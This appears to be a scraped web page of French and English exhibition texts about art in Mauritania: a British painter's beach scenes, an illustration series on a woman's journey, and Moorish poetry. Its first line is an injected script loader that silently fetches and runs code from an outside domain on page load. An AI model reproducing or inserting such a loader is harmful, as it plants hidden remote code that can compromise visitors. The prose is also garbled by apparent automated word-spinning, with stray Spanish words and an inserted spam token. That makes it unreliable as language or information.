;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn");
Principalement peintes in situ, ces images captent le theatre langoureux des humains et des animaux las acerca de scene contre la lumiere subtilement changeante de la cote atlantique. Ils s’inscrivent dans fusiona longue tradition de peintures faites sobre bords de mer, dont la dualite terre et mer, et la luminescence, ont seduit tant d’artistes. Ce sont des representations subtiles du datant polyamorydate loisir ; sobre l’apres-midi eternel – le galop trebuchant des chevaux offerts pour les promenades d’agrement, una posture paresseuse et insouciante des palefreniers et l’etoffe emmitouflee des femmes. Ce sont des peintures sobre l’indolence du repos brise pareja una mer beante.
Chris Anthem est algun artiste britannique vivant sobre Mauritanie. Il a des liens etroits avec le Liban et l’Afrique de l’Est. Sobre anadido d’un programme d’expositions complet au Royaume-Uni et au Moyen-Orient, ses autres sites recents incluent la peinture de robes pour Basil Soda Haute Couture. Il en etudie les beaux-arts a Liverpool puis a Slade School of Fine Art sobre Londres. Lorsqu’il ne peint pas a la plage, il travaille depuis son atelier a Nouakchott.
Predominantly painted in situ, these pictures capture the languorous theatre of humans and animals staged against the subtlety changing light of the Atlantic coast. They follow in a long tradition of paintings made of the seaside, whose duality of land and pudiera llegar a ser, and luminescence, habias attracted so many artists. They are subtle representations of leisure; of the eternal afternoon – the stumbling canter of horses offered for pleasure rides, the lazy insouciant posture of the grooms and the bundled fabric of the women. They are paintings of the indolence of repose broken by the yawning pudiera llegar a ser.
Chris Anthem is a British artist living in Mauritania. He has strong links to Lebanon and East Africa. Estrella well vedette a full exhibition schedule in the UK and Middle East, his other recent projects have included painting dresses for Basil Soda Haute Couture. He studied fine art in Liverpool and then the Slade School of Fine Art London. When not painting at the beach he works from his studio in Nouakchott.
Nous accompagnons una sintonice sobre “Djadja”, amalgama femme qui entreprend cualquier voyage symbolique depuis sa communaute acerca de Guinee-Bissau, traversant le Senegal, de su region de su Casamance a Saint Louis, pour enfin rejoindre una Mauritanie.Cette exposition met referente a scene le long chemin cual les femmes de la campii±a parcourent quotidiennement pieds nus ; voyages qu’elles entreprennent a la recherche de la “baraka”, une sorte sobre chance sous forme d’eau, sobre nourriture et sobre bois sauvage qui generera le feu pour cuisiner et nourrir una famille. Il s’agit d’un effort colossal et invisible, cualquier sacrifice genereux et quotidien, et qui porte un nom sobre femme.Cette serie d’illustrations representent algun petit hommage a toutes les femmes-creatrices, qui donnent vie et nourrissent le monde.
Je concois l’illustration : moyen sobre reflexion et de transformation sociale. Momento illustrations se va a apoyar sobre el sillin nourrissent d’une perspective humaniste, avec aglutina vocation et intention sobre mettre acerca de lumiere des contextes oublies. Mon travail en diverses ramifications, depuis l’illustration dans la presse, des livres illustres, des campagnes de sensibilisation pour des ONGs acerca de communication sociale, anti?rtico des affiches grand format, des peintures murales, des ateliers et des expositions itinerantes.
Una poesie irrigue toute una culture maure, elle en est la forme reine, sans doute a cause du nomadisme originel dans l’environnement austere du Sahara. Enseignee des l’enfance,(Abdelvetah Alamana recite Rajed, fusiona comptine d’apprentissage) una poesie reste fusiona passion celebree meme partenaire les vieillards, qui devraient acerca de principe inscribiri? consacrer davantage a una repentance. Ainsi Mohamed ould Boubacar Mbarek, grand-pere de Moctar Maghlah, ne vers 1880, a vecu jusqu’en 1950 au Brakna. Il avait garde un gout tellement vif pour una musique qu’il ne put s’empecher sobre s’introduire dans une tente ou des jeunes gens inscribiri? divertissaient a a rimer avec les griots, bravant ainsi la sahwa qui peut parfois empecher le melange des ages lors d’une soiree sobre howl. Pour contrer les eventuels reproches de el jeunesse, il donna a chanter aux griots algun ghazel, connu dans toute una Mauritanie comme le « gav de l’epee ».